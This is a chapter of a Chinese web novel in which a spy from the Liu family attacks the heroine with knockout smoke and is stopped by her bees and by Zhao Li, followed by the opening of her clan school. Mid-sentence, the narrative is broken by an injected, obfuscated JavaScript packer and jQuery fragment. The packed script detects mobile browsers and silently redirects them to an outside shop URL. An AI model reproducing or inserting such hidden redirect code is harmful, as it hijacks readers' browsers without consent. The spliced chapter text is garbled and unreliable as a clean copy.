默认冷灰
24号文字
方正启体

第28章 刘家探子

作者:如许风月本书字数:K更新时间:
    危机!刘家探子的试探


    四个壮汉扔下手中活计,一脸凶相围了上去。


    “干什么的?”


    铁牛嗓门大,这一声吼,震得那货郎手里的水碗差点落地。


    “哎哟,几位好汉,我……小的只是路过,讨口水喝。”


    货郎赔着笑,看似畏畏缩缩,那双浑浊的眼珠子却在铁牛等人身上滴溜溜转了一圈,最后定格在不远处正低头查看图纸的向安安身上。


    向安安正在看账本,发髻间的大黑二黑正懒洋洋地趴着,毛茸茸的身躯随着呼吸颤颤巍巍,乍一看去,竟似两朵做工精巧的墨色绒花,平添了几分娇俏,浑身尽是人畜无害的柔顺。


    “路过?”


    大柱冷笑,袖着手像堵墙一样挡住去路。


    “讨水喝讨到我们还没盖成的院子里来了?我看你是黄鼠狼给鸡拜年,没安好心!”


    几人呈合围之势,煞气逼人。


    货郎额角渗出冷汗,一边后退一边支支吾吾:“误会,全是误会,既然不方便,小的这就走……”


    说着,他挑起担子转身欲走。


    就在铁牛等人放松警惕的刹那!


    “噗!”


    货郎突然猛地回身,袖口一抖,一团黄褐色的粉末迎风炸开。


    “不好!是迷烟!”


    铁牛只来得及大吼一声,吸入粉末的瞬间,高大的身躯晃了晃,只觉手脚发软,眼前发黑,竟噗通一声跪倒在地。


    其他几人也纷纷中招,瘫软在地。


    “嘿嘿,一群蠢货。”


    货郎脸上的畏缩瞬间消失,取而代之的是狰狞的冷笑。


    “这可是刘家特制**,见血封喉,就是老虎也得给我趴下!”


    然而下一刻,向安安发间的两只黑蜂早已按捺不住,化作两道黑色的闪电,穿过层层迷烟,直扑货郎面门。


    货郎见状,不惊反笑:“畜生就是畜生,这烟里加了大量雄黄与驱虫草,专克你们这些毒……什么?!”


    笑容陡然僵在脸上。


    预想**虫坠落的画面并未发生。


    那两只黑蜂穿过浓重的迷烟,竟是毫发无损。


    甚至因为闻到了毒烟,翅膀震动出快乐的“嗡嗡”声,速度比刚才更快了一倍!


    这怎么可能?!


    这毒烟连剧毒的眼镜蛇都能熏晕,这两只小虫子竟视若无物?!


    货郎心神大骇,眼见那泛着幽蓝毒光的尾针已近在咫尺,死亡的恐惧瞬间笼罩全身。


    他知道自己失算了,这向家的邪门程度,远超刘家预料。


    “该死,既然躲不掉,那就拉个垫背的。”


    被逼入绝境的货郎恶向胆边生,竟不再管那逼近的黑蜂,脚下猛地一蹬,如疯狗般冲向柔弱无害的向安安。


    “今日,便借你的命一同走黄泉!”


    变故生得太快。


    向安安瞳孔骤缩,那淬了毒的**寒光在她眼中极速放大。


    她也没料到这人竟悍勇至此,宁愿被蜂蛰死也要拉她同归于尽。


    此时黑蜂虽快,却终究慢了那**一瞬!


    “找死。”


    一声低沉的冷喝,伴随着令人心悸的破空声骤然响起。


    “咻!”


    一颗看似普通的鹅卵石射出,带着足以碎金裂石的劲风,精准地击中了货郎的手腕。


    “咔嚓!”


    骨裂声清晰可闻。


    “啊!”


    货郎惨叫一声,手中的**应声飞出,偏离了原来的轨迹,擦着向安安的耳畔钉入身后的木柱,入木三分,发出嗡嗡震颤。


    与此同时,两只黑蜂终于赶到,狠狠蛰在了货郎的后颈与脸颊上。


    “呃……”


    双重打击之下,货郎翻着白眼软软倒下,抽搐了两下,便不动了。


    没等向安安松口气,赵离的面色变得惨白,额角青筋暴起,显是强行运功所致。


    “赵离!”


    向安安惊呼一声,顾不得惊魂未定,扑过去扶住他摇摇欲坠的身子,指尖颤抖着去探他的脉搏。


    乱,乱得一塌糊涂。


    赵离却只是抬手随意擦去嘴角的血迹,那双幽深的眸子死死盯着地上的货郎,声音虚弱却透着一股子令人胆寒的狠戾。


    “你没事……就成。”


    说罢,头一歪,彻底晕在向安安怀里。


    向安安抱着为了救她连命都不要的男人,眼眶瞬间红了。


    她猛地抬头看向地上的货郎,眼底的杀意比这冬日的寒风还要凛冽。


    刘家。


    这一笔账,咱们慢慢算。


    ……


    一场风波,让向家小院的气氛骤然紧张起来。


    防御工事,必须加强。


    入夜,工匠散去。


    族学宅院四周,刚砌起一半的围墙下。


    向安安趁着月色,借口巡视,悄无声息撒下一圈不起眼的草籽。


    正是她特意从黑市搜集的种子,摊主信誓旦旦说这东西凶得很,哪怕是头野猪也能给困死,为此足足要了一两银子。


    意念微动,空间灵泉水如雾气般洒落,瞬间泥土翻涌。


    一株株灰褐色的荆棘草破土而出,顺着墙根疯长。


    叶片如锯齿,藤蔓上遍布细密倒刺,尖端泛着幽幽蓝光,看着确实凶残得很。


    “还不够。”


    向安安转身回屋,钻进空间。


    药庐内,几株曼陀罗花开正艳。


    她熟练地捣药,研磨,配比。


    不多时,几十包特制的**粉便制成了,一一放进伪装的香囊里。


    “明日,就发给铁牛他们。”


    向安安将一个香囊递给刚醒过来,脸色依旧苍白的赵离。


    “这里面是迷烟解药和加强版的毒粉,往后你要时刻带上。若再有人图谋不轨,直接杀了。”


    赵离接过香囊,指腹摩挲过上面略显拙劣的针脚,嘴角微不可察地勾了勾。


    “好。”


    他看着眼前这只张牙舞爪、为了护家而露出獠牙的小野猫。


    真凶。


    不过,凶点好,至少不会被人欺负了去。


    冬至刚过,初雪未及消融,老宅已经被彻底翻新。


    半月抢工,青砖高墙拔地而起,灰瓦覆顶,在周遭一片低矮土坯房中,好似鹤立鸡群,气派非凡。


    朱漆大门洞开,上方高悬一块匾额,上书“向氏族学”四个大字。


    字迹虽不算铁画银钩,却也端正厚重,乃是族长向问天亲笔所题。


    今日,是族学开馆的大日子。


    天刚蒙蒙亮,村道上便喧闹了起来。


    为了那几个免束修的名额,村民们那是下了狠手,将自家皮猴子按在井边狠搓,褪去一层泥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246672|197887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皮,换上过年才穿的整洁衣裳,提溜着耳朵往学堂送。


    正堂之上,向安安端坐主位。


    她本就生得貌美,虽带着几分常年缠绵病榻的苍白,可此刻素手执笔,眉眼低垂间,透出寻常姑娘难有的浓浓书卷气与威严。


    她身侧一左一右,立着如门神般双手抱胸的铁牛与大柱,目不斜视,煞气逼人。


    这一柔一刚,竟镇得堂下乌压压的村民不敢造次。


    “安丫头,不,东家!”


    人群挤开,赖婆子挎着个竹篮,腆着张老脸凑上前。


    那篮里垫着蓝碎花布,码着十来个鸡蛋,个个滚圆。


    “这是俺家老母鸡刚下的,攒了好些日子,特意拿来给东家补补身子。”


    赖婆子满脸堆笑,脸上那褶子深得能夹死苍蝇,伸手将身后一个流着鼻涕的小胖墩往前推。


    “这是我家虎子,机灵着呢!您看……这束脩费能不能通融通融,给免了?”


    向安安垂眸扫过那鸡蛋,身形纹丝不动。


    “赖婆婆。”


    她声音清冷,不辨喜怒,“族学有规,衣衫不洁者,品行不端者,不收。”


    赖婆子笑容一僵:“这话说的,我家虎子还是个孩子,脏乱点也很正常嘛,怎么就品行不端了?”


    “三日前,虎子偷摸隔壁王婶家的鸡。五日前,往全村共用的水井里扔石子。昨日,还推倒了李家二丫,致人额头磕伤。”


    向安安如数家珍,语气平淡,目光却凉凉地落在那正冲人做鬼脸的小胖墩身上。


    “这般顽劣的娃娃,向氏族学这座小庙供不起,您还是另寻高就吧。”


    “铁牛,送客。”


    铁牛上前一步,如一座黑山压下,“赖婆子,请吧。”


    赖婆子本想骂街撒泼,结果被高大的铁牛与大柱左右一围,瞬间吓得两股战战,哪里还敢造次,提着篮子灰溜溜地钻出人群,惹来身后一片哄笑。


    这一招杀鸡儆猴,效果极好。


    原本还有些小心思,想来混水摸鱼的村民,此刻皆收敛了神色,大气都不敢出了。


    闹哄哄的场面顿时安静下来。


    向安安神色不动,素手执笔,在那花名册上勾勾画画。


    剔除品行不端的刺头,筛掉眼神浑浊心术不正的,最终,只留下了十三个孩子。


    皆是眼神清正的好苗子,即便有一两个看着怯懦些,却也是一看就肯吃苦的。


    “你们十三个,明日卯时准时入学。”


    向安安合上名册,目光温和了几分。


    为首一个机灵的小娃娃连忙弯腰鞠躬,大声喊道:“是,多谢向姐姐。”


    其余孩子见状,也纷纷效仿,稚气微脱的道谢声此起彼伏,虽稚嫩却透着股诚挚的朝气。


    看着这一双双如初生小兽般清亮、充满希望的眸子,向安安只觉连日来的疲惫都散去了不少,心中也跟着轻快起来。


    她微微一笑,如春风化雪。


    “只要你们肯用功,不仅束脩全免,若是考得好,姐姐每逢年节还给你们发肉吃,赏笔墨纸砚。”


    “哦!有肉吃咯!”


    孩子们爆发出一阵欢呼,那单纯的快乐瞬间感染了整个院子。


    看着这一幕,角落里推着轮椅的赵离,嘴角也勾起一抹极淡的笑意。


    这丫头,不仅会**,还会诛心,更会收买人心。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)